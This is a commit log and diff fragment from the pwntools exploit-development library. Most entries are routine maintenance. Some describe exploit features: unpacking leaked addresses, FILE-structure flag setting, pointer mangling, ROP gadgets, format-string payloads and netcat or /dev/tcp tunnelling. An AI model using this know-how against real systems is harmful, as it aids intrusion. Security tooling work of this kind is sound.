- [Commits](https://github.com/actions/download-artifact/compare/v7...v8)

---
updated-dependencies:
- dependency-name: actions/download-artifact
  dependency-version: '8'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-03-05 11:18:56 +01:00
dependabot[bot] ee29a37ec8 Bump actions/upload-artifact from 6 to 7 (#2695)
Bumps [actions/upload-artifact](https://github.com/actions/upload-artifact) from 6 to 7.
- [Release notes](https://github.com/actions/upload-artifact/releases)
- [Commits](https://github.com/actions/upload-artifact/compare/v6...v7)

---
updated-dependencies:
- dependency-name: actions/upload-artifact
  dependency-version: '7'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-03-05 06:56:22 +01:00
peace-maker 4ec81229b4 Add (un)pack shorthands for 40-56 bit numbers u48()/p48() (#2687)
* Add (un)pack shorthands for 40-56 bit numbers

`u40`/`p40`, `u48`/`p48`, and `u56`/`p56` can be used to quickly unpack shorter integers.

`u48` can be used to unpack addresses leaked using a c-string function which stops at the first null-byte.
Instead of doing `u64(data.ljust(8, b'\x00"))` you can now just do `u48(data)`.

Refs #2447

* Update CHANGELOG

* Fix typo in CHANGELOG
2026-02-23 12:28:43 +01:00
peace-maker 27461431d6 doctest: Print duration after each document (#2685)
* doctest: Print duration after each document

* Disable intro doctest connecting to `ftp.ubuntu.com`

The FTP server is throttled in CI or just really slow. We already test the basic tcp tubes in the `remote` tests.
2026-02-22 18:41:10 +01:00
Peace-Maker a8c89fd34c Regenerate zsh autocompletion
`python zargparse.py ../pwntools/pwnlib/commandline/main.py`
2026-02-21 14:39:58 +01:00
RocketDev 283147e97c New glibc module to include libc specific funcs (#2673)
* New glibc module to include libc specific funcs

* chore: add changelog entry

* refactor: move libc module

* feat: add libc in docs

* feat: add doctest for glibc module

* fix: remove `libc` ref in `util`

* fix: resolve doc test errors and warnings

* feat: multi-arch support for `ptr_(de)?mangle`

Consulting glibc source code, I found that only on x86 glibc performs
ror/rol, on other platforms, glibc only performs a simple xor.

* chore: cleanup docs
2026-02-20 22:12:54 +01:00
peace-maker 081b84927f Fix typo causing doctests not getting skipped (#2681)
Downloading all those libcs slowed down the CI a lot.
2026-02-20 12:49:39 +01:00
RocketDev 5161b5ef23 Cleanup Python 2 legacy (#2680)
* Cleanup Python 2 legacy

* chore: update changelog
2026-02-20 10:48:42 +01:00
peace-maker 243e6faffa asm: try native binutils before fallback architectures (#2669)
* asm: try native binutils before fallback architectures

Some binutils builds support multiple architectures,
like the x86_64 assembler supports i386 too in most
package builds and vice versa. We support this by trying
the other binutils as well when looking for the right tool.
That support is optional though and there are packages
that don't include the "cross" compilation.

When assembling for the host's native architecture, we
still prefer the explicitly named `x86_64-linux-gnu-as`
instead of the native `as` binary. That native binary is
tried as a last resort after looking for any other explictly
named binary. If the fallback package is installed but
compiled without the cross-compiler support, we'd still
find the `i386-as` binary while looking for `x86_64-as`
before trying the native `as` binary.
That would fail to assemble.

This patch moves the native `as` binary forward in the list
to try it before checking the other fallback architecture ones.

Fixes #2509

* Update CHANGELOG
2026-02-20 10:07:48 +01:00
RocketDevandpeace-maker 839915e18d packing: Add overlap to overlap structures easily (#2647)
* Remove useless coding line

And fix a side-effect: the leading ' ' cause neovim to add a space when
press enter, which breaks indent

* feat: add `overlap` to overlap structures easily

* chore: update changelog

* feat(overlap): throws BufferError and complete docs

* Declare return value clearly and refactor error

---------

Co-authored-by: peace-maker <[email protected]>
2026-02-19 12:17:48 +01:00
b0tm4n e167068b36 Fix args for kitty launch (#2676)
* Fix args for kitty launch

For gdb to work correctly it needs to get the same cwd cuze it's where the bin is located, if --cwd isn't specified gdb doesn't find the binary being debugged and show an error

* fix args
2026-02-14 06:40:05 +01:00
Hannah FluchandXeonacid ee2e66fed2 feat(term): add zellij support (#2675)
* feat(term): add zellij support

* fix: typo in util/misc

Co-authored-by: Xeonacid <[email protected]>

* chore: update CHANGELOG.md

---------

Co-authored-by: Xeonacid <[email protected]>
2026-02-12 06:11:35 +01:00
peace-maker 484a322ea8 Run vermin targetting at most Python 3.10 in CI (#2668)
* Run vermin targetting at most Python 3.10 in CI

Run https://github.com/netromdk/vermin to verify we don't use any Python features
of newer versions than what we want to support.

* Fix getdents docs

 /home/runner/work/pwntools/pwntools/pwnlib/util/getdents.py:docstring of pwnlib.util.getdents.linux_dirent:5: ERROR: Unexpected indentation. [docutils]
/home/runner/work/pwntools/pwntools/pwnlib/util/getdents.py:docstring of pwnlib.util.getdents.linux_dirent:9: WARNING: Block quote ends without a blank line; unexpected unindent. [docutils]
/home/runner/work/pwntools/pwntools/pwnlib/util/getdents.py:docstring of pwnlib.util.getdents.linux_dirent:19: WARNING: Definition list ends without a blank line; unexpected unindent. [docutils]
/home/runner/work/pwntools/pwntools/pwnlib/util/getdents.py:docstring of pwnlib.util.getdents.linux_dirent:24: ERROR: Unexpected indentation. [docutils]
/home/runner/work/pwntools/pwntools/pwnlib/util/getdents.py:docstring of pwnlib.util.getdents.linux_dirent:34: WARNING: Block quote ends without a blank line; unexpected unindent. [docutils]
2026-01-23 16:41:22 +01:00
Peace-Maker b20fa8b2d7 Fix flakey process.terminate() test 2026-01-23 16:23:25 +01:00
d8b4927993 fix: fixed checksec auto complete (#2665)
Co-authored-by: deciphr <[email protected]>
Co-authored-by: peace-maker <[email protected]>
2026-01-20 16:57:48 +01:00
dbgbgtfandpeace-maker 0eee5af789 Refactor getdents.py, add support for SYS_getdents64 (#2643)
* Refactor getdents.py, add support for SYS_getdents64

* remove enum import and format the code

* fix doctest and use try before decode

* use global context setting in doctest

* use IntEnum for d_type instead

* add error handling, use log to give warnings

* rewrite doctest result, add comment for functions

* complete changelog for getdents

* set context in local, so it won't affect the later tests

* Add explicitly word_size

Co-authored-by: peace-maker <[email protected]>

* Use context.bytes directly instead of context.bits

Co-authored-by: peace-maker <[email protected]>

* add linux source code of struct

* separate dirents into dirents and dirents64

* remove unhex. complete a comment.

* fix test_case. use fromhex instead of unhex.

* add __len__ method

* add DT_WHT and DT_SUBVOL

---------

Co-authored-by: peace-maker <[email protected]>
2026-01-18 12:08:53 +01:00
Artur Cygan 5a6e60b6e9 Fix typos in ROP docs (#2662) 2026-01-08 13:18:56 +01:00
miraklesource ea29281d3d Fix typo in error message for UDP sockets (#2663) 2026-01-08 07:55:20 +01:00
dependabot[bot] 1320659f9e Bump actions/upload-artifact from 5 to 6 (#2660)
Bumps [actions/upload-artifact](https://github.com/actions/upload-artifact) from 5 to 6.
- [Release notes](https://github.com/actions/upload-artifact/releases)
- [Commits](https://github.com/actions/upload-artifact/compare/v5...v6)

---
updated-dependencies:
- dependency-name: actions/upload-artifact
  dependency-version: '6'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-12-20 19:07:38 +01:00
dependabot[bot] 85c7090671 Bump actions/download-artifact from 6 to 7 (#2659)
Bumps [actions/download-artifact](https://github.com/actions/download-artifact) from 6 to 7.
- [Release notes](https://github.com/actions/download-artifact/releases)
- [Commits](https://github.com/actions/download-artifact/compare/v6...v7)

---
updated-dependencies:
- dependency-name: actions/download-artifact
  dependency-version: '7'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-12-20 19:07:30 +01:00
dependabot[bot] 7a74e76c48 Bump actions/cache from 4 to 5 (#2658)
Bumps [actions/cache](https://github.com/actions/cache) from 4 to 5.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v4...v5)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-version: '5'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-12-20 19:07:21 +01:00
dependabot[bot] 2047463318 Bump actions/checkout from 5 to 6 (#2654)
Bumps [actions/checkout](https://github.com/actions/checkout) from 5 to 6.
- [Release notes](https://github.com/actions/checkout/releases)
- [Changelog](https://github.com/actions/checkout/blob/main/CHANGELOG.md)
- [Commits](https://github.com/actions/checkout/compare/v5...v6)

---
updated-dependencies:
- dependency-name: actions/checkout
  dependency-version: '6'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-12-20 19:07:13 +01:00
Gilad Reti b7239dce30 support preexec_args in process (#2641)
* support preexec_args in process

Previously, preexec_args where supported by ssh.process only. Add support in process too, to allow easier ssh.process/process workflows

* update changelog
2025-11-24 12:51:45 +01:00
k4lizen 8863546627 Make setting the context.terminal to kitty more user friendly (#2652)
* make setting the kitty context terminal more user friendly

* changelog
2025-11-22 15:27:53 +01:00
Divyaranjan SahooandPeace-Maker 5db986e4c8 Add terminate method to process class that sends SIGTERM (#2629)
* Add terminate method to process class that sends SIGTERM

* Always use `Popen.terminate()` on all operating systems

And check if the process exited right away.

* Update CHANGELOG

* Fix terminate test to show SIGTERM handler

---------

Co-authored-by: Peace-Maker <[email protected]>
2025-11-22 15:26:20 +01:00
Th3S 01f8160a05 fix(libcdb-cli): return early if no matched libc found (#2646)
* Fix: return early if no matched libc found

* Update CHANGELOG
2025-11-22 13:22:20 +01:00
peace-maker 950410dafd Remove "pip" as explicit dependency (#2642)
It looks like this was done to work around a bug in an old pip version years ago.
It caused problems when freezing dependencies which unnecessarily forced pip to the version used at freeze time when installing again.

Fixes #2625
2025-11-22 13:21:35 +01:00
OBarronCS c2cb5799b6 Add aarch64_be qemu mapping (#2653) 2025-11-21 10:55:45 +01:00
Arusekk 20c55aeb6f elf: even better handling of kernel images 2025-11-10 21:59:14 +01:00
Lê Nam Khánh 3525980677 Fix typos in some files (#2648) 2025-11-06 23:26:06 +01:00
dependabot[bot] e606fa4c62 Bump actions/upload-artifact from 4 to 5 (#2644)
Bumps [actions/upload-artifact](https://github.com/actions/upload-artifact) from 4 to 5.
- [Release notes](https://github.com/actions/upload-artifact/releases)
- [Commits](https://github.com/actions/upload-artifact/compare/v4...v5)

---
updated-dependencies:
- dependency-name: actions/upload-artifact
  dependency-version: '5'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-11-06 10:24:15 +01:00
dependabot[bot] 52dc312103 Bump actions/download-artifact from 5 to 6 (#2645)
Bumps [actions/download-artifact](https://github.com/actions/download-artifact) from 5 to 6.
- [Release notes](https://github.com/actions/download-artifact/releases)
- [Commits](https://github.com/actions/download-artifact/compare/v5...v6)

---
updated-dependencies:
- dependency-name: actions/download-artifact
  dependency-version: '6'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-11-06 10:23:37 +01:00
1057473647 GitHub Actions: Test on Python 3.14 (#2627)
* GitHub Actions: Test on Python 3.14

Python v3.14 -- October 7th
* https://www.python.org/download/pre-releases
* https://www.python.org/downloads/release/python-3140rc3
* https://github.com/actions/setup-python/blob/main/docs/advanced-usage.md#allow-pre-releases

* Allow new LOAD_SMALL_INT opcode in safeeval

* Support lambdas in mbruteforce

* Drop pwnlib.util.iters.lookahead

---------

Co-authored-by: Peace-Maker <[email protected]>
Co-authored-by: Arusekk <[email protected]>
2025-11-06 10:22:41 +01:00
Arusekk 753fcf0da7 elf: better handling of kernel images 2025-11-06 09:25:06 +01:00
Arusekk 289bc8ede4 template: error message and fallback on no docker 2025-11-06 09:24:47 +01:00
Gilad Retiandpeace-maker 49964f6702 support preexec_fn in debug() (#2630)
* support preexec_fn in debug()

Previously, preexec_fn was mistakengly run is gdbserver's context.
Run it inside the debuggee instead to allow run/debug workflows.

* update Changelog

---------

Co-authored-by: peace-maker <[email protected]>
2025-10-22 08:48:44 +02:00
Ritvik Goyal bfcab4ab32 feat: add disable_corefiles context option (#2638)
* feat: add disable_corefiles context option

Add new context option that automatically disables core file generation
when enabled. This sets RLIMIT_CORE to (0, -1) to prevent core dump creation,
which is particularly useful for brute-force scenarios and repeated segfault
crashes where core files consume excessive disk space.

- Add disable_corefiles context variable with boolean type.
- Add @_validator decorator for disable_corefiles context variable
- Default value is False to maintain existing behavior.

Fixes #2566

* Update CHANGELOG

* Add doctest for `context.disable_corefiles`

Added doctest for `disable_corefiles` in corefile.py
Added doc for `disable_corefiles` in process.py
When `context.corefiles` is enabled:
For crashed process, `io.corefile` will return None.
For running process, gdb still dumps the corefile.
2025-10-21 13:46:57 +02:00
Peace-Maker e02b3ba74c Merge branch 'beta' into dev 2025-10-18 13:18:02 +02:00
peace-maker 313e3c2a76 ROP: Remove stdout and argv workaround in ROPgadget invocation (#2639)
* ROP: Remove stdout and argv workaround in ROPgadget invocation

ROPgadget supports usage as a library since v5.3 in 2015.
The hacks are no longer needed.

This also fixes running multiple exploits in parallel in the same process. They could race and output was lost.

* Update CHANGELOG

* Fix race while creating rop-cache folder

There was a TOCTOU when two ROP classes were interleaved just wrong in a multi-threaded script.
2025-10-16 16:35:52 +02:00
Peace-Maker 480f174bcf Merge branch 'beta' into dev 2025-10-12 17:30:26 +02:00
Arusekk 8b6543466a Merge branch 'beta' into dev 2025-09-26 09:57:33 +02:00
Peace-Maker 50b4343cd4 Merge branch 'beta' into dev 2025-09-16 22:05:15 +02:00
Peace-Maker 299b3faa6e Add note about ubuntu toolchain for Windows binutils
The mingw64 build is incompatible with our objcopy invocation.

Refs #2622
2025-09-14 22:26:16 +02:00
peace-maker 359aa51f5f Remove "ubuntu" user in base Docker image (#2620)
The ubuntu/24.04 image contains a default user "ubuntu" with uid 1000.
We add our own "pwntools" user which has uid 1001 now causing mismatches
with the default host uid of 1000 for the bind-mounts in the develop/testing image.

https://bugs.launchpad.net/cloud-images/+bug/2005129
2025-09-14 22:18:11 +02:00
Arusekk aea771b8b5 Merge branch 'beta' into dev 2025-09-11 14:59:45 +02:00
dependabot[bot] d01b58905c Bump actions/setup-python from 5 to 6 (#2617)
Bumps [actions/setup-python](https://github.com/actions/setup-python) from 5 to 6.
- [Release notes](https://github.com/actions/setup-python/releases)
- [Commits](https://github.com/actions/setup-python/compare/v5...v6)

---
updated-dependencies:
- dependency-name: actions/setup-python
  dependency-version: '6'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-09-10 14:40:05 +02:00
peace-maker e0c70c2312 tube/process: Fix redirecting stderr to stdout on Windows (#2615)
* tube/process: Fix redirecting stderr to stdout on Windows

Use the `subprocess` module's built-in redirection capabilities instead
of manually redirecting file descriptors, which uses the correct
pipes on Windows.

Fixes #2614

* Update CHANGELOG
2025-09-07 19:59:18 +02:00
peace-maker 5f7e4e56d4 Fix log.progress ignoring context.log_console (#2610)
* Fix `log.progress` ignoring `context.log_console`

When setting `context.log_console` to something other than stdout, spinners while using `log.progress` would still be printed to stdout.
Redirect them to the stream specified by `context.log_console` and don't animate if it's not a tty.

Fixes #1702

* Update CHANGELOG
2025-09-07 11:17:42 +02:00
peace-maker 7ba52cceed Remove leftover six references (#2613)
Some six usage sneaked by in #2547
2025-09-06 15:38:16 +02:00
peace-maker 7c83eef178 Cleanup pwnlib.lexer exports and imports (#2611)
* Cleanup `pwnlib.lexer` exports and imports

The exported lexers don't really exist. It has been this way since this code was first included in the repo, so I'd assume the intention was to have aliases for the same lexer since the disassembly looks similar between all those tools.

Many imports are unused too, so remove them.

Fixes #1309

* Update CHANGELOG
2025-09-06 14:26:37 +02:00
Peace-Maker dffacc0d82 Merge branch 'beta' into dev 2025-09-05 14:14:37 +02:00
peace-maker a85ad0390b Abort on libcdb file libc.so --unstrip if eu-unstrip is not installed (#2608)
* Abort on `libcdb file libc.so --unstrip` if eu-unstrip is not installed

Fixes #2586

* Update CHANGELOG
2025-09-04 17:00:57 +02:00
Peace-Maker b8803eafcd Merge branch 'beta' into dev 2025-08-28 15:06:21 +02:00
dependabot[bot] 360f4595f9 Bump actions/checkout from 4 to 5 (#2603)
Bumps [actions/checkout](https://github.com/actions/checkout) from 4 to 5.
- [Release notes](https://github.com/actions/checkout/releases)
- [Changelog](https://github.com/actions/checkout/blob/main/CHANGELOG.md)
- [Commits](https://github.com/actions/checkout/compare/v4...v5)

---
updated-dependencies:
- dependency-name: actions/checkout
  dependency-version: '5'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-08-28 14:31:50 +02:00
dependabot[bot] 65c5d15bd9 Bump actions/download-artifact from 4 to 5 (#2597)
Bumps [actions/download-artifact](https://github.com/actions/download-artifact) from 4 to 5.
- [Release notes](https://github.com/actions/download-artifact/releases)
- [Commits](https://github.com/actions/download-artifact/compare/v4...v5)

---
updated-dependencies:
- dependency-name: actions/download-artifact
  dependency-version: '5'
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-08-28 14:31:40 +02:00
k4lizen 90e66b469c Fix aarch64 ABI (#2598)
* upd aarch64 abi

* changelog
2025-08-28 14:29:14 +02:00
CookedMelon 9a70d8fa6d Bump pyelftools version to >=0.32 (#2605)
pyelftools 0.29 results a fail in checksec, makes the script can't execute

    * modify pyelftools version
2025-08-28 14:21:42 +02:00
Shordenandpeace-maker d665644ae4 Support context.timeout in ~/.pwn.conf (#2592)
* Add float to supported config types

This change functionally just allows setting `context.timeout` in
~/.pwn.conf.

* update changelog

---------

Co-authored-by: peace-maker <[email protected]>
2025-08-06 18:03:50 +02:00
peace-maker 00f707d0bf Decode and pretty print _IO_* flags in FileStructure member (#2542)
* Decode `_IO_*` flags in FileStructure member

The `_flags` and `_flags2` bitmasks are decoded to a readable string when printing the struct.
Next to setting the flags as an integer like before, you can set individual bits now and check set bits.

```
fileStr = FileStructure(null=0xdeadbeeef)
fileStr.flags = 0xfbad1807
fileStr.flags = IO_flags._IO_MAGIC | IO_flags._IO_USER_BUF | IO_flags._IO_UNBUFFERED
fileStr.flags._IO_USER_BUF = 1
```

Printing the FileStructure shows the flags in human readable form too

```
{ flags: 0xfbad0401 (_IO_USER_BUF | _IO_UNBUFFERED | _IO_MAGIC)
_IO_read_ptr: 0x0
...
```

* Update CHANGELOG
2025-08-06 16:43:33 +02:00
Peace-Maker 3677514a71 Merge branch 'beta' into dev 2025-08-06 14:49:12 +02:00
peace-maker dfcde14df8 Add support for finding corefiles under WSL2 (#2590)
* Add support for finding corefiles under WSL2

The `wsl-capture-crash` tool stores the crash dumps in the Windows filesystem under `%TEMP%\wsl-crashes`. Look in that directory.

This allows to use the `process.corefile` infrastructure when debugging locally under WSL2.

* Update CHANGELOG
2025-08-05 16:49:36 +02:00
Peace-Maker 32ba51e965 Print systemd corefile locations using coredumpctl in CI
The debugging step isn't critical and only helps debugging corefile doctest failures on Github runners if they occur.
See if we can find a coredump from the systemd-corefile handler for good measure.

Closes #2536
2025-07-04 16:46:28 +02:00
Arusekk d1021e764e Fix double exception on gaierror
Closes #2581
2025-06-03 21:13:38 +00:00
witer33 932cc375da Removed useless var (#2582) 2025-04-27 22:57:25 +02:00
zt20xx e841b500d7 Add gnome-terminal, Alacritty, Ttilix for run_in_new_terminal (#2578) 2025-04-11 17:04:37 +02:00
Arusekk 76078a3967 Merge branch 'beta' into dev 2025-04-02 18:01:07 +02:00
clubby789 07ff8864d1 Allow creating an ELF from in-memory bytes (#2574) 2025-04-02 14:54:01 +02:00
clubby789 e5cd224fb1 Detect when Terminator is being used as a terminal (#2575) 2025-04-02 13:37:23 +02:00
Arusekk a251f87b16 riscv: avoid compressed instructions (#2419)
... and do not throw errors if there are relocs (might be benign)
2025-04-02 13:24:36 +02:00
peace-makerandXeonacid 6954b039cd Add ssh -L / ssh.connect_remote() workaround when AllowTcpForwarding is disabled (#2538)
* Add `ssh -L` / `ssh.connect_remote()` workaround when `AllowTcpForwarding` is disabled

Use a netcat process on the remote to connect to the specified host:port and tunnel the traffic using normal `ssh.process` I/O.

This was inspired by the "Circumventing Disabled SSH Port-Forwarding with a Multiplexer" article by @guysv in the Paged Out! zine no. 5.

It allows to use `gdb.debug(arg, ssh=ssh)` to debug processes on pwn.college.

* Update CHANGELOG

* Lookup `netcat` command too

Co-authored-by: Xeonacid <[email protected]>

* Try connecting using bash /dev/tcp too

---------

Co-authored-by: Xeonacid <[email protected]>
2025-03-30 13:01:04 +02:00
8928cdf6f3 Add support for search in kernel modules (#2496)
* get pagesize by sh_addralign

Co-authored-by: zzttbak <[email protected]>
Co-authored-by: peace-maker <[email protected]>
Co-authored-by: Arusekk <[email protected]>
2025-03-28 15:45:40 +01:00
Arusekk 35da0c32e0 Merge branch 'beta' into dev 2025-03-24 13:56:42 +01:00
OBarronCS f98d8e11ab Enable bit-manipulation and vector extensions to RISC-V (#2544) 2025-03-24 13:47:29 +01:00
Arusekk 96e22ac169 Merge branch 'beta' into dev 2025-03-24 12:19:19 +01:00
peace-maker e25347743b Don't upgrade pip anymore and --break-system-packages (#2537)
Pip doesn't have a RECORD file anymore and fails to uninstall / upgrade
on latest Ubuntu now. --force-reinstall on pwntools causes pip to
upgrade too since it's in our dependencies, which fails too.
As a workaround uninstall pwntools manually before upgrading.
2025-03-17 00:03:44 +01:00
Zach Hanson 0a46c27afa Fix a bug that incorrectly reports GNU_STACK missing when its not. (#2493) 2025-03-03 22:20:36 +01:00
William Tan 8b30517699 ssh: Allow passing disabled_algorithms keyword argument from ssh to paramiko (#2546)
* ssh: allow passing `disabled_algorithms` keyword argument from `ssh` to paramiko

* update changelog

* point to paramiko documentation

* point sphinx docs to latest stable version of paramiko
2025-03-01 11:51:30 +01:00
k4lizen 60cff24377 Detect when kitty is being used as terminal (#2551) 2025-03-01 01:35:11 +01:00
Arusekk 88672470bd Add format string for no_dollars (#2557)
And also reduce payload lengths to minimum.

Closes #2077
Closes #2130
Closes #2532
2025-03-01 01:33:48 +01:00
Arusekk 3f85ddc4f9 Fix some documentation warnings errors (#2555) 2025-02-28 22:39:24 +01:00
Arusekk a76db16507 Combine coverage from all CI jobs (#2553) 2025-02-28 14:27:12 +01:00
ArusekkandPeace-Maker 328b2cd447 Drop six (#2547)
Co-authored-by: Peace-Maker <[email protected]>
2025-02-28 12:15:04 +01:00
RocketDev 636b3b2575 ROP: fix ROP(ELF(exe)).leave is None in some ELF (#2506)
* ROP: fix `self.leave is None` in some libc

When `pop rbp; pop rsp; ret;` exists in libc, it is chosen instead of
`leave`. Add a specific `order` to filter out the former one.

* add changelog for #2506

* ROP: add sp_move when `pop rsp`

* CHANGELOG: mv #2506 to `5.0.0`
2025-02-18 22:15:48 +01:00
RocketDevandpeace-maker 447ac9496b doc: add example case for tuple (host, port pair) in gdb.attach (#2504)
* doc: add example case for `tuple`

* update changelog

* doc: fix typos and test errors

* gdb: complete attach doc

* gdb: sleep in doc test to pass test

---------

Co-authored-by: peace-maker <[email protected]>
2025-02-17 22:40:06 +01:00
xtex 3eb690bd38 Initial LoongArch64 support (#2529)
Signed-off-by: Bingwu Zhang <[email protected]>
2025-01-29 14:02:10 +01:00
peace-maker fa7d76d5ee CI: Test on Python 3.13 (#2534) 2025-01-27 00:07:46 +01:00
Peace-Maker d098431470 Merge branch 'beta' into dev 2025-01-27 00:06:51 +01:00
tesujiandpeace-maker 78d416ba61 checksec: Do NOT error when passing directory arguments to commandline tool (#2530)
I often use `checksec *` to lazily avoid typing filenames in a directory.
If the directory contains any other sub-dirs, the command fails.
With this patch, checksec will silently skip dir paths. There's still
TOCTOU issue but I don't think checksec do anything important enough
to explicitly use try/catch to account for that.

Co-authored-by: peace-maker <[email protected]>
2025-01-27 00:03:05 +01:00
peace-maker 6748a7801d Drop Python 2.7 support / Require Python 3.10 (#2519)
* Drop Python 2.7 support / Require Python 3.10

Only test on Python 3 and bump minimal required python version to 3.10.

* Update CHANGELOG

* Allow to install on Python 3.4

* State intend to not artifially raise the required Python version
2025-01-26 22:11:07 +01:00
William Tan e51bc74e25 Allow setting debugger path via context.gdb_binary (#2527)
* Allow setting debugger path via context

* Update changelog
2025-01-26 21:59:51 +01:00
peace-maker cff58e153b Allow to passthru kwargs on ssh.__getattr__ convenience function to fix SSH motd problems (#2517)
* Allow to passthru kwargs on `ssh.__getattr__` convenience function

Instead of only passing the command arguments themselves to `ssh.system` when using `ssh.somecommand('args')`, allow to specify keyword arguments as well `ssh.somecommand('args', tty=False)`.

* ssh: Don't allocate a tty for internal state fetching

If the remote server is printing some motd agressively, this could lead to interpreting the motd instead of the requested output.

* Use `ssh.system` internally too instead of deprecated `ssh.run`

* Update CHANGELOG
2025-01-21 10:42:00 +01:00
tesujiandpeace-maker e3a021d7d1 packing: Do use extra arguments in p* and u* (#2526)
* packing: Do use extra arguments in `p*` and `u*`

* packing: Force keyword syntax for `sign` argument

---------

Co-authored-by: peace-maker <[email protected]>
2025-01-21 10:40:09 +01:00
peace-maker a9b05b55ae Raise EOFError during process.recv when stdout closes on Windows (#2524)
* Windows: Raise EOFError during process.recv when stdout closes

If the receiving thread terminates while we're waiting for data to arrive we'd be waiting endlessly. Raise EOFError when .recv()ing on a process with stdout closed and no more data queued up from the receiver thread.

* Update CHANGELOG
2025-01-21 10:27:49 +01:00
k4lizenandpeace-maker fac8f1eab3 Support starting a kitty debugging window with the 'kitten' command (#2522)
* support starting a kitty window with the 'kitten' command

* get kitty pid and sigterm instead of close-window

---------

Co-authored-by: peace-maker <[email protected]>
2025-01-21 10:02:03 +01:00
peace-maker 5f616ad8a8 Add +LINUX and +WINDOWS doctest options (#2507)
* Add `+LINUX` and `+WINDOWS` doctest options

This allows to selectively run tests only on a single platform. We can add `# doctest: +LINUX` comments to tests that cannot work on Windows and the other way around.

To easily skip a lot of tests the `doctest_additional_flags` global variable can be defined in a `testsetup`.

This is achieved by monkey patching sphinx doctest's DocTestBuilder to use our own DocTestRunner which removes examples from the tests that have flags that don't match the platform we're running on.

* Limit Sphinx version to secure platform patches

Avoid major versions which might change the API. We have to check if the platform optionflags still work on newer versions once they are available.

* CI: Run doctests with coverage on Windows

Disable all non-trivial tests on Windows for now. The goal is to reduce the amount of linux-only tests.

* Only apply platform patch on Python 3

* Disable uploading coverage on Windows

The handrolled coveralls upload cannot handle mixed operating systems.

Refs #2480

* Use threading.Timer for doctest timeout

To interrupt the code running on the main thread, we send a signal using `_thread.interrupt_main()`. By default this causes a KeyboardInterrupt exception, which might be handled explicitly.

To raise an explicit EndlessLoop exception inside the code that is taking too long, register a SIGABRT signal handler which raises the EndlessLoop exception. The exception from the signal handler is added to the call stack and handled by the code currently running. This allows to print a better stack trace on timeout.

It is the same concept as the old implementation using `signal.alarm` but platform agnostic.

https://anonbadger.wordpress.com/2018/12/15/python-signal-handlers-and-exceptions/

* Add POSIX optionflag

Run test on other UNIX systems too if they don't use Linux specifics.

Add a TODO optionflag too to mark platform restrictions that might be too strict and should be looked at.

* Enable tube and tube/sockets tests on Windows

* Use `signal.alarm` for timeouts if it's available

* Update CHANGELOG
2025-01-21 09:59:25 +01:00
Peace-Maker 29fb02f292 Merge branch 'beta' into dev 2025-01-15 20:35:21 +01:00
Peace-Maker 241b1395c6 Begin working on 5.0.0 2025-01-15 09:06:58 +01:00
800 changed files with 11236 additions and 4560 deletions

No files matched your search

+1 -1
View File
@@ -4,7 +4,7 @@ Thanks for contributing to Pwntools!
When reporting an issue, be sure that you are running the latest released version of pwntools (`pip install --upgrade pwntools`).
Please verify that your issue occurs on 64-bit Ubuntu 14.04. You can use the Dockerfile on `docker.io` for quick testing.
Please verify that your issue occurs on 64-bit Ubuntu 22.04. You can use the Dockerfile on `docker.io` for quick testing.
```
$ docker pull pwntools/pwntools:stable
+1 -1
View File
@@ -39,7 +39,7 @@ You should see `[DEBUG]` statements that show what's happening behind the scenes
## Verify on Ubuntu
If possible, please verify that your issue occurs on 64-bit Ubuntu 22.04. We provide a Dockerfile based on Ubuntu 22.04 via `docker.io` to make this super simple, no VM required!
If possible, please verify that your issue occurs on 64-bit Ubuntu 24.04. We provide a Dockerfile based on Ubuntu 24.04 via `docker.io` to make this super simple, no VM required!
```sh
# Download the Docker image
+1 -1
View File
@@ -24,7 +24,7 @@ You can always [change the branch][change] after you create the PR if it's again
[contributing]: https://github.com/Gallopsled/pwntools/blob/dev/CONTRIBUTING.md
[testing]: https://github.com/Gallopsled/pwntools/blob/dev/TESTING.md
[change]: https://github.com/blog/2224-change-the-base-branch-of-a-pull-request
[change]: https://github.blog/news-insights/product-news/change-the-base-branch-of-a-pull-request/
## Changelog
+5 -2
View File
@@ -4,5 +4,8 @@ updates:
- package-ecosystem: "github-actions"
directory: "/"
schedule:
# Check for updates to GitHub Actions every week
interval: "weekly"
# Check for updates to GitHub Actions every month
interval: "monthly"
groups:
github-actions:
dependency-type: "production"
-70
View File
@@ -1,70 +0,0 @@
name: Android Tests
on: [push, pull_request]
jobs:
android-test:
strategy:
matrix:
